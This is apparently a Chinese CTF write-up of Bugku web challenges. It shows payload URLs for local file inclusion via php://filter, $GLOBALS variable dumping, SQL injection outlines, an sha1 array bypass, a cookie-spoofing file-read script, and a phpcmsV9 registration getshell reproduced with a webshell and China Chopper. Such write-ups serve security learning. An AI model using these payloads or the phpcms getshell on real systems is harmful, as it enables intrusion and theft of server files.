0x00 签到题
没什么好说的,自己加群吧
0x01 web2
查看源代码就有flag,不解释
0x02 文件上传测试
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku1-300x62.png“ alt=”” width=”300” height=”62” class=”alignnone size-medium wp-image-471” />
直接改后缀
即可拿到flag
0x03 计算题
1 | <input type="text" class="input" maxlength="1" /> |
就是个前端限制,把maxlength改成99,直接做数学题吧,出flag
0x04 web3
查看源代码,unicode编码转化,在线有工具,转了就出flag
0x05 sql注入
带回显的宽字节注入,按照套路吧,爆库名,表名,字段名都告诉你了,爆出库名即可,后面的套路省略……
0x06 sql注入1
过滤很严,直接注入不太现实,但是waf源码已经给你了,审计一下
发现这个过滤,可以过滤html标签,所以想到用<>截断(我本能的尝试%00截断,好像也可以……)
然后你就可以随心所欲的注入了,爆出库名即可
后面的套路省略……
0x07 你必须让他停下
这个题意义也不大,抓包即可,发送至repeater,不断go,即可看到flag……
0x08 本地包含
题目来自百度杯的爆破1,但是这题真的是本地包含吗= =
这里用到PHP一个比较有意思的变量$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
然后利用var_dump($GLOBALS),便可得到所有值,其中就有flag
所以构造payload: http://baohan.post.bugku.com/?hello=$GLOBALS
即可得到flag
0x09 变量1
审计代码,关键点1
2
3
4
5if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
那么这个正则表达式什么意思呢?
/^\w+$/ :
两个/ / 表明正则表达式的开始与结束
^开始字符,$结束字符
\w 包含【a-z,A-Z,_,0-9】中的字
+代表可以有一个,或多个\w
然而这并没什么用……因为我发现一个更好的点:1
eval("var_dump($$args);");
发现有$$双重定义,想到PHP有$GOLABLES变量可以包含所有变量所以输入payload: http://a.post.bugku.com/index1.php?args=GLOBALS
做完后一度怀疑本地包含那题放错了……
0x0A web4
他让看源代码就看呗,一大串urlencode
丢去解码,得到:
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku2-300x132.png“ alt=”” width=”300” height=”132” class=”alignnone size-medium wp-image-475” />
然后把67d709b2b54aa2aa648cf6e87a7114f1丢进submit就Ok了
0x0B web5
查看源代码,一大波JSPFUCK,丢进控制台即可得到Flag
0x0C flag在Index里
点进去,让我click它,我就点了,然后发现url里有读文件,想到题目,flag在Index里,就直接读index好了,payload:http://b.post.bugku.com/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码,即可得到Index源码:1
2
3
4
5
6
7
8
9error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
不用我说,你也看见flag了……
0x0D phpcmsV9
这题直接去百度漏洞
得知前台注册页面有getshell
在此引用Bugku现成的小马
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku3-300x46.png“ alt=”” width=”300” height=”46” class=”alignnone size-medium wp-image-478” />
抓包,复现漏洞:
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku4-300x69.png“ alt=”” width=”300” height=”69” class=”alignnone size-medium wp-image-479” />
注意用户名什么的别重复了……不然失败的……
重点已经用黄色标出了,然后上传成功
中国菜刀闪亮登场
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku5-300x223.png“ alt=”” width=”300” height=”223” class=”alignnone size-medium wp-image-480” />
直接在根目录拿到flag……
(记本渣第一使用中国菜刀:))
0x0E Web6
这种类型的题做了很多遍了……先看一下源码,
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku6-300x15.png“ alt=”” width=”300” height=”15” class=”alignnone size-medium wp-image-476” />
然后再去看Network
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku7-300x17.png“ alt=”” width=”300” height=”17” class=”alignnone size-medium wp-image-477” />
满满的都是套路,意思就是post上去的变量margin的值等于flag base64解码后的值,即可获得flag,于是写了一个python脚本:
1 | import requests |
即可得到flag
0x0F cookies欺骗??
看到url就感觉不对http://c.bugku.com/web11/index.php?line=&filename=a2V5cy50eHQ=
想到又是一个读文件,把filename解码,得到keys.txt
那就试试index.php
将其base64
aW5kZXgucGhw
故得到payload:http://c.bugku.com/web11/index.php?line=&filename=aW5kZXgucGhw
查看源代发现了php的开头……看到Line,猜想是一行一行读的
故试了试payload:http://c.bugku.com/web11/index.php?line=1&filename=aW5kZXgucGhw
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku8.png“ alt=”” width=”157” height=”37” class=”alignnone size-full wp-image-481” />
发现猜想正确,写一个python脚本得到所有的Index源码1
2
3
4
5
6
7
8
9# -*- coding: utf-8 -*-
import requests
cookies = {'margin': 'margin'}
for i in range(0,20):
url =
'http://c.bugku.com/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
wp = requests.get(url,cookies=cookies)
print wp.content
print 'over'
即可得到源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
发现一个keys.php,果断读起来,得到源码1
$key='KEY{key_keys}';
得到flag
0x10 XSS
上来瞎测试Payload: view-source:http://103.238.227.13:10089/?id=sky
);\u003e `
(注意加eval,不然可不会自动被替换哦~)
即可得到flag
0x11 各种绕过哟
先审计代码1
2
3
4
5
6
7if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
找到两个不相同的uname和passwd,他们的sha1相同,乍一看不太实际,然后想到sha1()函数的漏洞绕过:由于sha1()函数无法处理数组类型,将报错并返回false,故而(false===false)if 条件成立,获得flag。
Payload:
![](http://www.bxsteam.xyz/wp-content/uploads/2017/04/bugku11-300x138.png“ alt=”” width=”300” height=”138” class=”alignnone size-medium wp-image-482” />
注意:uname和id是get类型,passwd是Post类型……我一开始都以为是get,就一直在刷url……还觉得奇了怪了……(火狐的hackbar真是个好东西)
剩下题目我们下周见= =